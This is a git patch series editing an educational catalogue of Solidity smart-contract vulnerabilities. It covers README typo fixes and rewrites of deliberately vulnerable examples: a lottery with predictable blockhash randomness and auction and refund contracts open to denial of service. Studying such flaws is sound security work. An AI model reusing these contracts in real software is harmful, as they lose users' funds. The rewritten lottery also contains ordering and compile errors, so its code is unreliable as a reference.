a/not-so-smart-contracts/solidity/forced_ether_reception/README.md +++ b/not-so-smart-contracts/solidity/forced_ether_reception/README.md @@ -1,6 +1,6 @@ # Contracts can be forced to receive ether -In certain circunstances, contracts can be forced to receive ether without triggering any code. This should be considered by the contract developers in order to avoid breaking important invariants in their code. +In certain circumstances, contracts can be forced to receive ether without triggering any code. This should be considered by the contract developers in order to avoid breaking important invariants in their code. ## Attack Scenario diff --git a/not-so-smart-contracts/solidity/honeypots/README.md b/not-so-smart-contracts/solidity/honeypots/README.md index 7a3e2107..4c29e319 100644 --- a/not-so-smart-contracts/solidity/honeypots/README.md +++ b/not-so-smart-contracts/solidity/honeypots/README.md @@ -23,7 +23,7 @@ The contract takes advantage of the fact that the global variable balance on the The contract appears vulnerable to a constructor mismatch, allowing anyone to call the public method `Test1()` and double any ether they send to the function. The calculation involves a while loop which is strange, but the bounds conditions seem correct enough. -One of the features of Solidity is that it seeks to mimic JavaScript in its language syntax and style. This is ostensibly to ease onboarding of developers with something familiar. In this case, the contract takes advantage of different semantics between Solidity and JavaScript to create type confusion. The var keyword allows the compiler to infer the type of the assignment when declaring a variable. In this instance, `i1` and `i2` are resolved to fact be `uint8`. As such, their maximum value will be 255 before overflow -- causing the loop condition `if(i1 0.4.22 interacting with these functions will fail to execute them, as the return value is missing. @@ -16,6 +16,4 @@ contract Token{ ### Recommendation - Set the appropriate return values and value-types for the defined ERC20 functions. - Use [Slither](https://github.com/crytic/slither/) or [crytic.io](https://crytic.io/) to detect the issue -- Use `slither-check-erc` to ensure ERC's conformance - - +- Use `slither-check-erc` to ensure ERC conformance diff --git a/not-so-smart-contracts/solidity/incorrect_erc721_interface/README.md b/not-so-smart-contracts/solidity/incorrect_erc721_interface/README.md index 3d98f25d..23fd1ece 100644 --- a/not-so-smart-contracts/solidity/incorrect_erc721_interface/README.md +++ b/not-so-smart-contracts/solidity/incorrect_erc721_interface/README.md @@ -1,4 +1,4 @@ -## Incorrect erc721 interface +## Incorrect ERC721 interface ### Description Incorrect return values for ERC721 functions. A contract compiled with solidity > 0.4.22 interacting with these functions will fail to execute them, as the return value is missing. diff --git a/not-so-smart-contracts/solidity/incorrect_interface/README.md b/not-so-smart-contracts/solidity/incorrect_interface/README.md index b86c74f2..ebe19b06 100644 --- a/not-so-smart-contracts/solidity/incorrect_interface/README.md +++ b/not-so-smart-contracts/solidity/incorrect_interface/README.md @@ -1,14 +1,14 @@ # Incorrect interface A contract interface defines functions with a different type signature than the implementation, causing two different method id's to be created. -As a result, when the interfact is called, the fallback method will be executed. +As a result, when the interface is called, the fallback method will be executed. ## Attack Scenario -- The interface is incorrectly defined. `Alice.set(uint)` takes an `uint` in `Bob.sol` but `Alice.set(int)` a `int` in `Alice.sol`. The two interfaces will produce two differents method IDs. As a result, Bob will call the fallback function of Alice rather than of `set`. +- The interface is incorrectly defined. `Alice.set(uint)` takes an `uint` in `Bob.sol` but `Alice.set(int)` a `int` in `Alice.sol`. The two interfaces will produce two different method IDs. As a result, Bob will call the fallback function of Alice rather than of `set`. ## Mitigations -Verify that type signatures are identical between inferfaces and implementations. +Verify that type signatures are identical between interfaces and implementations. ## Example @@ -79,4 +79,3 @@ bob.set_fixed(alice.address, {from: eth.accounts[0]} ) alice.val() ``` - diff --git a/not-so-smart-contracts/solidity/reentrancy/README.md b/not-so-smart-contracts/solidity/reentrancy/README.md index e2be7949..439909b2 100644 --- a/not-so-smart-contracts/solidity/reentrancy/README.md +++ b/not-so-smart-contracts/solidity/reentrancy/README.md @@ -1,4 +1,4 @@ -# Re-entrancy +# Reentrancy A state variable is changed after a contract uses `call.value`. The attacker uses [a fallback function](ReentrancyExploit.sol#L26-L33)—which is automatically executed after Ether is transferred from the targeted contract—to execute the vulnerable function again, *before* the diff --git a/not-so-smart-contracts/solidity/uninitialized-storage/README.md b/not-so-smart-contracts/solidity/uninitialized-storage/README.md index b2ef953c..fb8d525a 100644 --- a/not-so-smart-contracts/solidity/uninitialized-storage/README.md +++ b/not-so-smart-contracts/solidity/uninitialized-storage/README.md @@ -2,7 +2,7 @@ ## Uninitialized storage variables ### Description -An uinitialized storage variable will act as a reference to the first state variable, and can override a critical variable. +An uninitialized storage variable will act as a reference to the first state variable, and can override a critical variable. ### Exploit Scenario: @@ -27,4 +27,3 @@ Bob calls `func`. As a result, `owner` is override to 0. - Initialize all the storage variables. - Use [Slither](https://github.com/crytic/slither/) or [crytic.io](https://crytic.io/) to detect the issue - From 63dbb5c44381bc211f0e618ddde083cc2e666349 Mon Sep 17 00:00:00 2001 From: bohendo Date: Tue, 4 Oct 2022 13:49:04 -0400 Subject: [PATCH 65/73] init solhint config --- .solhint.json | 7 +++++++ 1 file changed, 7 insertions(+) create mode 100644 .solhint.json diff --git a/.solhint.json b/.solhint.json new file mode 100644 index 00000000..cfcb3d9b --- /dev/null +++ b/.solhint.json @@ -0,0 +1,7 @@ +{ + "extends": "solhint:recommended", + "rules": { + "compiler-version": ["warn", "^0.8.0"], + "func-visibility": ["warn",{ "ignoreConstructors":true }] + } +} From e1e63acceec91a949fa1e2bcb8568726ae2e4ca4 Mon Sep 17 00:00:00 2001 From: bohendo Date: Tue, 4 Oct 2022 13:49:14 -0400 Subject: [PATCH 66/73] bad_randomness editing pass --- .../solidity/bad_randomness/README.md | 24 +-- .../solidity/bad_randomness/theRun.sol | 166 +++++++++++++++++ .../theRun_source_code/theRun.sol | 173 ------------------ 3 files changed, 172 insertions(+), 191 deletions(-) create mode 100644 not-so-smart-contracts/solidity/bad_randomness/theRun.sol delete mode 100644 not-so-smart-contracts/solidity/bad_randomness/theRun_source_code/theRun.sol diff --git a/not-so-smart-contracts/solidity/bad_randomness/README.md b/not-so-smart-contracts/solidity/bad_randomness/README.md index add6c50d..4fdc07dc 100644 --- a/not-so-smart-contracts/solidity/bad_randomness/README.md +++ b/not-so-smart-contracts/solidity/bad_randomness/README.md @@ -3,38 +3,26 @@ Pseudorandom number generation on the blockchain is generally unsafe. There are a number of reasons for this, including: - The blockchain does not provide any cryptographically secure source of randomness. Block hashes in isolation are cryptographically random, however, a malicious miner can modify block headers, introduce additional transactions, and choose not to publish blocks in order to influence the resulting hashes. Therefore, miner-influenced values like block hashes and timestamps should never be used as a source of randomness. - - Everything in a contract is publicly visible. Random numbers cannot be generated or stored in the contract until after all lottery entries have been stored. - - Computers will always be faster than the blockchain. Any number that the contract could generate can potentially be precalculated off-chain before the end of the block. -A common workaround for the lack of on-chain randomness is using a commit and reveal scheme. Here, each user submits the hash of their secret number. -When the time comes for the random number to be generated, each user sends their secret number to the contract -which then verifies it matches the hash submitted earlier and XORs them together. Therefore no participant can observe how their contribution -will affect the end result until after everyone has already committed to a value. However, this is also vulnerable to DoS attacks, -since the last person to reveal can choose to never submit their secret. Even if the contract is allowed to move forward without -everyone's secrets, this gives them influence over the end result. In general, we do not recommend commit and reveal schemes. +A common workaround for the lack of on-chain randomness is using a commit and reveal scheme. Here, each user submits the hash of their secret number. When the time comes for the random number to be generated, each user sends their secret number to the contract which then verifies it matches the hash submitted earlier and XORs them together. Therefore no participant can observe how their contribution will affect the end result until after everyone has already committed to a value. However, this is also vulnerable to DoS attacks, since the last person to reveal can choose to never submit their secret. Even if the contract is allowed to move forward without everyone's secrets, this gives them influence over the end result. In general, we do not recommend commit and reveal schemes. ## Attack Scenarios -- A lottery where people bet on whether the hash of the current block is even or odd. A miner that bets on even can throw out blocks whose -hash are even. -- A commit-reveal scheme where users don't necessarily have to reveal their secret (to prevent DoS). A user has money riding on the outcome -of the PRNG and submits a large number of commits, allowing them to choose the one they want to reveal at the end. +- A lottery where people bet on whether the hash of the current block is even or odd. A miner that bets on even can throw out blocks whose hash are odd. +- A commit-reveal scheme where users don't necessarily have to reveal their secret (to prevent DoS). A user has money riding on the outcome of the PRNG and submits a large number of commits, allowing them to choose the one they want to reveal at the end. ## Mitigations -There are currently not any recommended mitigations for this issue. -Do not build applications that require on-chain randomness. -In the future, however, these approaches show promise +There are not currently any guaranteed solutions for this issue. Do not build applications that require on-chain randomness. In the future, however, these approaches show promise -- [Verifiable delay functions](https://eprint.iacr.org/2018/601.pdf): functions which produce a pseudorandom number -and take a fixed amount of sequential time to evaluate +- [Verifiable delay functions](https://eprint.iacr.org/2018/601.pdf): functions which produce a pseudorandom number and take a fixed amount of sequential time to evaluate - [RANDAO](https://github.com/randao/randao): A commit reveal scheme where users must stake wei to participate ## Examples -- The `random` function in [theRun](theRun_source_code/theRun.sol) was vulnerable to this attack. It used the blockhash, timestamp and block number to generate numbers in a range to determine winners of the lottery. To exploit this, an attacker could set up a smart contract that generates numbers in the same way and submits entries when it would win. As well, the miner of the block has some control over the blockhash and timestamp and would also be able to influence the lottery in their favor. +- The `random` function in [TheRun](TheRun.sol) is vulnerable to this attack. It uses the blockhash, timestamp and block number to generate numbers in a range to determine winners of the lottery. To exploit this, an attacker could set up a smart contract that generates numbers in the same way and submits entries when it would win. As well, the miner of the block has some control over the blockhash and timestamp and would also be able to influence the lottery in their favor. ## Sources diff --git a/not-so-smart-contracts/solidity/bad_randomness/theRun.sol b/not-so-smart-contracts/solidity/bad_randomness/theRun.sol new file mode 100644 index 00000000..582a98eb --- /dev/null +++ b/not-so-smart-contracts/solidity/bad_randomness/theRun.sol @@ -0,0 +1,166 @@ +pragma solidity ^0.8.17; + +contract TheRun { + // solhint-disable-next-line not-rely-on-time + uint256 constant private SALT = block.timestamp; + + address private admin; + uint private balance = 0; + uint private payoutId = 0; + uint private lastPayout = 0; + uint private winningPot = 0; + uint private minMultiplier = 1100; //110% + + //Fees are necessary and set very low, the fees will decrease each time they are collected. + //Fees are just here to maintain the website at beginning, and will progressively go to 0% :) + uint private fees = 0; + uint private feeFrac = 20; //Fraction for fees in per"thousand", not percent, so 20 is 2% + + uint private potFrac = 30; //For the winningPot ,30=> 3% are collected. This is fixed. + + constructor() { + admin = msg.sender; + } + + modifier onlyowner {if (msg.sender == admin) _; } + + struct Player { + address addr; + uint payout; + bool paid; + } + + Player[] private players; + + //--Fallback function + fallback() payable { + init(); + } + + //--initiated function + function init() private { + uint deposit = msg.value; + if (msg.value < 500 finney) { // only participation with >1 ether accepted + msg.sender.transfer(msg.value); + return; + } + if (msg.value > 20 ether) { //only participation with <20 ether accepted + msg.sender.transfer(msg.value - (20 ether)); + deposit=20 ether; + } + participate(deposit); + } + + //------- Core of the game---------- + function participate(uint deposit) private { + //calculate the multiplier to apply to the future payout + + uint totalMultiplier = minMultiplier; //initiate totalMultiplier + if (balance < 1 ether && players.length > 1) { + totalMultiplier += 100; // + 10 % + } + if ((players.length % 10) == 0 && players.length > 1) { //Every 10th participant gets a 10% bonus + totalMultiplier += 100; // + 10 % + } + + //add new player in the queue ! + players.push(Player(msg.sender, (deposit * totalMultiplier) / 1000, false)); + + //--- UPDATING CONTRACT STATS ---- + winningPot += (deposit * potFrac) / 1000; // take some 3% to add for the winning pot ! + fees += (deposit * feeFrac) / 1000; // collect maintenance fees 2% + balance += (deposit * (1000 - ( feeFrac + potFrac ))) / 1000; // update balance + + //Classic payout for the participants + while (balance > players[payoutId].payout) { + lastPayout = players[payoutId].payout; + balance -= players[payoutId].payout; // update the balance + players[payoutId].paid=true; + players[payoutId].addr.transfer(lastPayout); // pay the man + // solhint-disable-next-line reentrancy + payoutId += 1; + } + + // Winning the Pot :) Condition : paying at least 1 people with deposit > 2 ether and having luck ! + if (( deposit > 1 ether ) && (deposit > players[payoutId].payout)) { + uint roll = random(100); // take a random number between 1 & 100 + if (roll % 10 == 0 ) { // if lucky : Chances : 1 out of 10 ! + // solhint-disable-next-line reentrancy + winningPot = 0; + msg.sender.transfer(winningPot); // Bravo ! + } + } + + } + + function random(uint max) private constant returns (uint256 result) { + //get the best seed for randomness + uint256 x = SALT * 100 / max; + uint256 y = SALT * block.number / (SALT % 5) ; + uint256 seed = block.number/3 + (SALT % 300) + lastPayout +y; + // solhint-disable-next-line not-rely-on-block-hash + uint256 h = uint256(block.blockhash(seed)); + return uint256((h / x)) % max + 1; //random number between 1 and max + } + + //---Contract management functions + function changeOwnership(address _owner) external onlyowner { + admin = _owner; + } + function watchBalance() external constant returns(uint totalBalance) { + totalBalance = balance / 1 wei; + } + + function watchBalanceInEther() external constant returns(uint totalBalanceInEther) { + totalBalanceInEther = balance / 1 ether; + } + + //Fee functions for creator + function collectAllFees() external onlyowner { + require(fees == 0, "No fees to collect"); + feeFrac -= 1; + fees = 0; + admin.transfer(fees); + } + + function getAndReduceFeesByFraction(uint p) external onlyowner { + if (fees == 0) feeFrac -= 1; // reduce fees. + fees -= fees / 1000 * p; + admin.transfer(fees / 1000 * p); // send a percent of fees + } + + + //---Contract informations + function nextPayout() external constant returns(uint next) { + next = players[payoutId].payout / 1 wei; + } + + function watchFees() external constant returns(uint collectedFees) { + collectedFees = fees / 1 wei; + } + + function watchWinningPot() external constant returns(uint winningPot) { + winningPot = winningPot / 1 wei; + } + + function watchLastPayout() external constant returns(uint payout) { + payout = lastPayout; + } + + function totalOfPlayers() external constant returns(uint numberOfPlayers) { + numberOfPlayers = players.length; + } + + function playerInfo(uint id) external constant returns(address player, uint payout, bool userPaid) { + if (id <= players.length) { + player = players[id].addr; + payout = players[id].payout / 1 wei; + userPaid=players[id].paid; + } + } + + function payoutQueueSize() external constant returns(uint queueSize) { + queueSize = players.length - payoutId; + } + +} diff --git a/not-so-smart-contracts/solidity/bad_randomness/theRun_source_code/theRun.sol b/not-so-smart-contracts/solidity/bad_randomness/theRun_source_code/theRun.sol deleted file mode 100644 index 0a5a96cc..00000000 --- a/not-so-smart-contracts/solidity/bad_randomness/theRun_source_code/theRun.sol +++ /dev/null @@ -1,173 +0,0 @@ -contract theRun { - uint private Balance = 0; - uint private Payout_id = 0; - uint private Last_Payout = 0; - uint private WinningPot = 0; - uint private Min_multiplier = 1100; //110% - - - //Fees are necessary and set very low, to maintain the website. The fees will decrease each time they are collected. - //Fees are just here to maintain the website at beginning, and will progressively go to 0% :) - uint private fees = 0; - uint private feeFrac = 20; //Fraction for fees in per"thousand", not percent, so 20 is 2% - - uint private PotFrac = 30; //For the WinningPot ,30=> 3% are collected. This is fixed. - - - address private admin; - - function theRun() { - admin = msg.sender; - } - - modifier onlyowner {if (msg.sender == admin) _; } - - struct Player { - address addr; - uint payout; - bool paid; - } - - Player[] private players; - - //--Fallback function - function() { - init(); - } - - //--initiated function - function init() private { - uint deposit=msg.value; - if (msg.value < 500 finney) { //only participation with >1 ether accepted - msg.sender.send(msg.value); - return; - } - if (msg.value > 20 ether) { //only participation with <20 ether accepted - msg.sender.send(msg.value- (20 ether)); - deposit=20 ether; - } - Participate(deposit); - } - - //------- Core of the game---------- - function Participate(uint deposit) private { - //calculate the multiplier to apply to the future payout - - - uint total_multiplier=Min_multiplier; //initiate total_multiplier - if(Balance < 1 ether && players.length>1){ - total_multiplier+=100; // + 10 % - } - if( (players.length % 10)==0 && players.length>1 ){ //Every 10th participant gets a 10% bonus, play smart ! - total_multiplier+=100; // + 10 % - } - - //add new player in the queue ! - players.push(Player(msg.sender, (deposit * total_multiplier) / 1000, false)); - - //--- UPDATING CONTRACT STATS ---- - WinningPot += (deposit * PotFrac) / 1000; // take some 3% to add for the winning pot ! - fees += (deposit * feeFrac) / 1000; // collect maintenance fees 2% - Balance += (deposit * (1000 - ( feeFrac + PotFrac ))) / 1000; // update balance - - // Winning the Pot :) Condition : paying at least 1 people with deposit > 2 ether and having luck ! - if( ( deposit > 1 ether ) && (deposit > players[Payout_id].payout) ){ - uint roll = random(100); //take a random number between 1 & 100 - if( roll % 10 == 0 ){ //if lucky : Chances : 1 out of 10 ! - msg.sender.send(WinningPot); // Bravo ! - WinningPot=0; - } - - } - - //Classic payout for the participants - while ( Balance > players[Payout_id].payout ) { - Last_Payout = players[Payout_id].payout; - players[Payout_id].addr.send(Last_Payout); //pay the man, please ! - Balance -= players[Payout_id].payout; //update the balance - players[Payout_id].paid=true; - - Payout_id += 1; - } - } - - - - uint256 constant private salt = block.timestamp; - - function random(uint Max) constant private returns (uint256 result){ - //get the best seed for randomness - uint256 x = salt * 100 / Max; - uint256 y = salt * block.number / (salt % 5) ; - uint256 seed = block.number/3 + (salt % 300) + Last_Payout +y; - uint256 h = uint256(block.blockhash(seed)); - - return uint256((h / x)) % Max + 1; //random number between 1 and Max - } - - - - //---Contract management functions - function ChangeOwnership(address _owner) onlyowner { - admin = _owner; - } - function WatchBalance() constant returns(uint TotalBalance) { - TotalBalance = Balance / 1 wei; - } - - function WatchBalanceInEther() constant returns(uint TotalBalanceInEther) { - TotalBalanceInEther = Balance / 1 ether; - } - - - //Fee functions for creator - function CollectAllFees() onlyowner { - if (fees == 0) throw; - admin.send(fees); - feeFrac-=1; - fees = 0; - } - - function GetAndReduceFeesByFraction(uint p) onlyowner { - if (fees == 0) feeFrac-=1; //Reduce fees. - admin.send(fees / 1000 * p);//send a percent of fees - fees -= fees / 1000 * p; - } - - -//---Contract informations -function NextPayout() constant returns(uint NextPayout) { - NextPayout = players[Payout_id].payout / 1 wei; -} - -function WatchFees() constant returns(uint CollectedFees) { - CollectedFees = fees / 1 wei; -} - - -function WatchWinningPot() constant returns(uint WinningPot) { - WinningPot = WinningPot / 1 wei; -} - -function WatchLastPayout() constant returns(uint payout) { - payout = Last_Payout; -} - -function Total_of_Players() constant returns(uint NumberOfPlayers) { - NumberOfPlayers = players.length; -} - -function PlayerInfo(uint id) constant returns(address Address, uint Payout, bool UserPaid) { - if (id <= players.length) { - Address = players[id].addr; - Payout = players[id].payout / 1 wei; - UserPaid=players[id].paid; - } -} - -function PayoutQueueSize() constant returns(uint QueueSize) { - QueueSize = players.length - Payout_id; -} - - -} From a332427e9ce66066731c57ed33393eef46f7809b Mon Sep 17 00:00:00 2001 From: bohendo Date: Tue, 4 Oct 2022 14:38:55 -0400 Subject: [PATCH 67/73] dos & ether reception editing pass --- .../solidity/bad_randomness/theRun.sol | 86 ++++----- .../dangerous_strict_equalities/README.md | 8 +- .../solidity/denial_of_service/README.md | 31 +-- .../solidity/denial_of_service/auction.sol | 84 ++++---- .../solidity/denial_of_service/list_dos.sol | 56 +++--- .../solidity/forced_ether_reception/README.md | 9 +- .../solidity/forced_ether_reception/coin.sol | 182 ++++++------------ 7 files changed, 188 insertions(+), 268 deletions(-) diff --git a/not-so-smart-contracts/solidity/bad_randomness/theRun.sol b/not-so-smart-contracts/solidity/bad_randomness/theRun.sol index 582a98eb..c91c2224 100644 --- a/not-so-smart-contracts/solidity/bad_randomness/theRun.sol +++ b/not-so-smart-contracts/solidity/bad_randomness/theRun.sol @@ -53,43 +53,43 @@ contract TheRun { //------- Core of the game---------- function participate(uint deposit) private { - //calculate the multiplier to apply to the future payout + //calculate the multiplier to apply to the future payout - uint totalMultiplier = minMultiplier; //initiate totalMultiplier - if (balance < 1 ether && players.length > 1) { - totalMultiplier += 100; // + 10 % - } - if ((players.length % 10) == 0 && players.length > 1) { //Every 10th participant gets a 10% bonus - totalMultiplier += 100; // + 10 % - } - - //add new player in the queue ! - players.push(Player(msg.sender, (deposit * totalMultiplier) / 1000, false)); + uint totalMultiplier = minMultiplier; //initiate totalMultiplier + if (balance < 1 ether && players.length > 1) { + totalMultiplier += 100; // + 10 % + } + if ((players.length % 10) == 0 && players.length > 1) { //Every 10th participant gets a 10% bonus + totalMultiplier += 100; // + 10 % + } - //--- UPDATING CONTRACT STATS ---- - winningPot += (deposit * potFrac) / 1000; // take some 3% to add for the winning pot ! - fees += (deposit * feeFrac) / 1000; // collect maintenance fees 2% - balance += (deposit * (1000 - ( feeFrac + potFrac ))) / 1000; // update balance + //add new player in the queue ! + players.push(Player(msg.sender, (deposit * totalMultiplier) / 1000, false)); + + //--- UPDATING CONTRACT STATS ---- + winningPot += (deposit * potFrac) / 1000; // take some 3% to add for the winning pot ! + fees += (deposit * feeFrac) / 1000; // collect maintenance fees 2% + balance += (deposit * (1000 - ( feeFrac + potFrac ))) / 1000; // update balance + + //Classic payout for the participants + while (balance > players[payoutId].payout) { + lastPayout = players[payoutId].payout; + balance -= players[payoutId].payout; // update the balance + players[payoutId].paid=true; + players[payoutId].addr.transfer(lastPayout); // pay the man + // solhint-disable-next-line reentrancy + payoutId += 1; + } - //Classic payout for the participants - while (balance > players[payoutId].payout) { - lastPayout = players[payoutId].payout; - balance -= players[payoutId].payout; // update the balance - players[payoutId].paid=true; - players[payoutId].addr.transfer(lastPayout); // pay the man + // Winning the Pot :) Condition : paying at least 1 people with deposit > 2 ether and having luck ! + if (( deposit > 1 ether ) && (deposit > players[payoutId].payout)) { + uint roll = random(100); // take a random number between 1 & 100 + if (roll % 10 == 0 ) { // if lucky : Chances : 1 out of 10 ! // solhint-disable-next-line reentrancy - payoutId += 1; - } - - // Winning the Pot :) Condition : paying at least 1 people with deposit > 2 ether and having luck ! - if (( deposit > 1 ether ) && (deposit > players[payoutId].payout)) { - uint roll = random(100); // take a random number between 1 & 100 - if (roll % 10 == 0 ) { // if lucky : Chances : 1 out of 10 ! - // solhint-disable-next-line reentrancy - winningPot = 0; - msg.sender.transfer(winningPot); // Bravo ! - } + winningPot = 0; + msg.sender.transfer(winningPot); // Bravo ! } + } } @@ -132,35 +132,35 @@ contract TheRun { //---Contract informations function nextPayout() external constant returns(uint next) { - next = players[payoutId].payout / 1 wei; + next = players[payoutId].payout / 1 wei; } function watchFees() external constant returns(uint collectedFees) { - collectedFees = fees / 1 wei; + collectedFees = fees / 1 wei; } function watchWinningPot() external constant returns(uint winningPot) { - winningPot = winningPot / 1 wei; + winningPot = winningPot / 1 wei; } function watchLastPayout() external constant returns(uint payout) { - payout = lastPayout; + payout = lastPayout; } function totalOfPlayers() external constant returns(uint numberOfPlayers) { - numberOfPlayers = players.length; + numberOfPlayers = players.length; } function playerInfo(uint id) external constant returns(address player, uint payout, bool userPaid) { - if (id <= players.length) { - player = players[id].addr; - payout = players[id].payout / 1 wei; - userPaid=players[id].paid; - } + if (id <= players.length) { + player = players[id].addr; + payout = players[id].payout / 1 wei; + userPaid=players[id].paid; + } } function payoutQueueSize() external constant returns(uint queueSize) { - queueSize = players.length - payoutId; + queueSize = players.length - payoutId; } } diff --git a/not-so-smart-contracts/solidity/dangerous_strict_equalities/README.md b/not-so-smart-contracts/solidity/dangerous_strict_equalities/README.md index 1abf38a6..5b17d2a9 100644 --- a/not-so-smart-contracts/solidity/dangerous_strict_equalities/README.md +++ b/not-so-smart-contracts/solidity/dangerous_strict_equalities/README.md @@ -1,6 +1,7 @@ ## Dangerous strict equalities ### Description + Use of strict equalities that can be easily manipulated by an attacker. ### Exploit Scenario: @@ -11,9 +12,10 @@ contract Crowdsale{ return this.balance == 100 ether; } ``` -`Crowdsale` relies on `fund_reached` to know when to stop the sale of tokens. `Crowdsale` reaches 100 ether. Bob sends 0.1 ether. As a result, `fund_reached` is always false and the crowdsale never ends. + +`Crowdsale` relies on `fund_reached` to know when to stop the sale of tokens. If `Crowdsale` reaches 100 ether and Bob sends 0.1 ether, `fund_reached` is always false and the crowdsale would never end. ### Mitigations -- Don't use strict equality to determine if an account has enough ethers or tokens. -- Use [Slither](https://github.com/crytic/slither/) or [crytic.io](https://crytic.io/) to detect the issue +- Don't use strict equality to determine if an account has sufficient ethers or tokens. +- Use [slither](https://github.com/crytic/slither/) to detect this issue. diff --git a/not-so-smart-contracts/solidity/denial_of_service/README.md b/not-so-smart-contracts/solidity/denial_of_service/README.md index 9d5dbe41..a05d2056 100644 --- a/not-so-smart-contracts/solidity/denial_of_service/README.md +++ b/not-so-smart-contracts/solidity/denial_of_service/README.md @@ -1,33 +1,20 @@ # Denial of Service -A malicious contract can permanently stall another contract by failing in a strategic way. In particular, contracts that bulk perform transactions or updates using a `for` loop can be DoS'd if a call to another contract or `transfer` fails during the loop. +A malicious contract can permanently stall another contract that calls it by failing in a strategic way. In particular, contracts that bulk perform transactions or updates using a `for` loop can be DoS'd if a call to another contract or `transfer` fails during the loop. ## Attack Scenarios -- Auction contract where frontrunner must be reimbursed when they are outbid. If the call refunding -the frontrunner continuously fails, the auction is stalled and they become the de facto winner. - -- Contract iterates through an array to pay back its users. If one `transfer` fails in the middle of a `for` loop -all reimbursements fail. - -- Attacker spams contract, causing some array to become large. Then `for` loops iterating through the array -might run out of gas and revert. - -## Examples - -- Both [insecure](auction.sol#L4) and [secure](auction.sol#L26) versions of the auction contract mentioned above - -- Bulk refund functionality that is [susceptible to DoS](list_dos.sol#L3), and a [secure](list_dos.sol#L29) version +- Auction contract where the previous winner must be reimbursed when they are outbid. If the call refunding the previous winner continuously fails, the auction is stalled and they become the de facto winner. It's better to use a pull-pattern that flags funds as eligible for withdrawal. See examples of an [insecure](auction.sol#L4) and [secure](auction#L24) version of this auction pattern. +- Contract iterates through an array to pay back its users. If one `transfer` fails in the middle of a `for` loop all reimbursements fail. See [this insecure example](list_dos.sol#L3) for an example of doing this wrong. +- Attacker spams contract, causing some array to become large. Then `for` loops iterating through the array might run out of gas and revert. See [this example](list_dos.sol#L26) that pauses & results list processing to prevent getting stuck due to out-of-gas errors. ## Mitigations -- Favor pull over push for external calls -- If iterating over a dynamically sized data structure, be able to handle the case where the function -takes multiple blocks to execute. One strategy for this is storing iterator in a private variable and -using `while` loop that exists when gas drops below certain threshold. +- Favor the pull-pattern: make funds available for users to withdraw rather than trying to send funds to users. +- If iterating over a dynamically sized data structure, be able to handle the case where the function takes multiple blocks to execute. One strategy for this is storing an iterator in a private variable and using `while` loop that stops when gas drops below certain threshold. ## References -- https://www.reddit.com/r/ethereum/comments/4ghzhv/governmentals_1100_eth_jackpot_payout_is_stuck/ -- https://github.com/ConsenSys/smart-contract-best-practices#dos-with-unexpected-revert -- https://vessenes.com/ethereum-griefing-wallets-send-w-throw-considered-harmful/ +- [Reddit conversation about stuck contract](https://www.reddit.com/r/ethereum/comments/4ghzhv/governmentals_1100_eth_jackpot_payout_is_stuck/) +- [ConsenSys re unexpected reverts](https://github.com/ConsenSys/smart-contract-best-practices#dos-with-unexpected-revert) +- [Griefing wallets](https://vessenes.com/ethereum-griefing-wallets-send-w-throw-considered-harmful/) diff --git a/not-so-smart-contracts/solidity/denial_of_service/auction.sol b/not-so-smart-contracts/solidity/denial_of_service/auction.sol index bf2805a5..62b61511 100644 --- a/not-so-smart-contracts/solidity/denial_of_service/auction.sol +++ b/not-so-smart-contracts/solidity/denial_of_service/auction.sol @@ -1,53 +1,49 @@ -pragma solidity ^0.4.15; - -//Auction susceptible to DoS attack -contract DosAuction { - address currentFrontrunner; - uint currentBid; - - //Takes in bid, refunding the frontrunner if they are outbid - function bid() payable { - require(msg.value > currentBid); - - //If the refund fails, the entire transaction reverts. - //Therefore a frontrunner who always fails will win - if (currentFrontrunner != 0) { - //E.g. if recipients fallback function is just revert() - require(currentFrontrunner.send(currentBid)); +pragma solidity ^0.8.17; + +// Auction susceptible to DoS attack +contract InsecureAuction { + address public currentWinner = address(0); + uint public currentBid = 0; + + // Takes in bid, refunding the previous winner if they are outbid + function bid() public payable { + require(msg.value > currentBid, "Too little value to bid"); + // If the refund fails, the entire transaction reverts. + // Therefore a bidder who always fails will win + // E.g. if recipients fallback function is just revert() + if (currentWinner != 0) { + require(currentWinner.send(currentBid), "Send failure"); + } + currentWinner = msg.sender; // solhint-disable-line reentrancy + currentBid = msg.value; // solhint-disable-line reentrancy } - currentFrontrunner = msg.sender; - currentBid = msg.value; - } } - -//Secure auction that cannot be DoS'd +// Auction that is NOT susceptible to DoS attack contract SecureAuction { - address currentFrontrunner; - uint currentBid; - //Store refunds in mapping to avoid DoS - mapping(address => uint) refunds; - - //Avoids "pushing" balance to users favoring "pull" architecture - function bid() payable external { - require(msg.value > currentBid); - - if (currentFrontrunner != 0) { - refunds[currentFrontrunner] += currentBid; + address public currentWinner; + uint public currentBid; + + // Store refunds in mapping to avoid DoS + mapping(address => uint) public refunds; + + // Avoids "pushing" balance to users favoring "pull" architecture + function bid() external payable { + require(msg.value > currentBid, "Too little value to bid"); + if (currentWinner != 0) { + refunds[currentWinner] += currentBid; + } + currentWinner = msg.sender; + currentBid = msg.value; } - currentFrontrunner = msg.sender; - currentBid = msg.value; - } - - //Allows users to get their refund from auction - function withdraw() external { - //Do all state manipulation before external call to - //avoid reentrancy attack - uint refund = refunds[msg.sender]; - refunds[msg.sender] = 0; + // Allows users to get their refund from auction + function withdraw() public { + // Do all state manipulation before external call to avoid reentrancy attack + uint refund = refunds[msg.sender]; + refunds[msg.sender] = 0; + msg.sender.transfer(refund); // even if this reverts, calls to bid() can still succeed + } - msg.sender.send(refund); - } } diff --git a/not-so-smart-contracts/solidity/denial_of_service/list_dos.sol b/not-so-smart-contracts/solidity/denial_of_service/list_dos.sol index 91d80feb..69a526f1 100644 --- a/not-so-smart-contracts/solidity/denial_of_service/list_dos.sol +++ b/not-so-smart-contracts/solidity/denial_of_service/list_dos.sol @@ -1,41 +1,29 @@ -pragma solidity ^0.4.15; +pragma solidity ^0.8.17; contract CrowdFundBad { - address[] private refundAddresses; - mapping(address => uint) public refundAmount; - - function refundDos() public { - for(uint i; i < refundAddresses.length; i++) { - require(refundAddresses[i].transfer(refundAmount[refundAddresses[i]])); + address[] private refundAddresses; + mapping(address => uint) public refundAmount; + function badRefund() public { + for(uint i; i < refundAddresses.length; i++) { + // If one of the following transfers reverts, they all revert + refundAddresses[i].transfer(refundAmount[refundAddresses[i]]); + } } - } } -contract CrowdFundPull { - address[] private refundAddresses; - mapping(address => uint) public refundAmount; - - function withdraw() external { - uint refund = refundAmount[msg.sender]; - refundAmount[msg.sender] = 0; - msg.sender.transfer(refund); - } -} - - -//This is safe against the list length causing out of gas issues -//but is not safe against the payee causing the execution to revert -contract CrowdFundSafe { - address[] private refundAddresses; - mapping(address 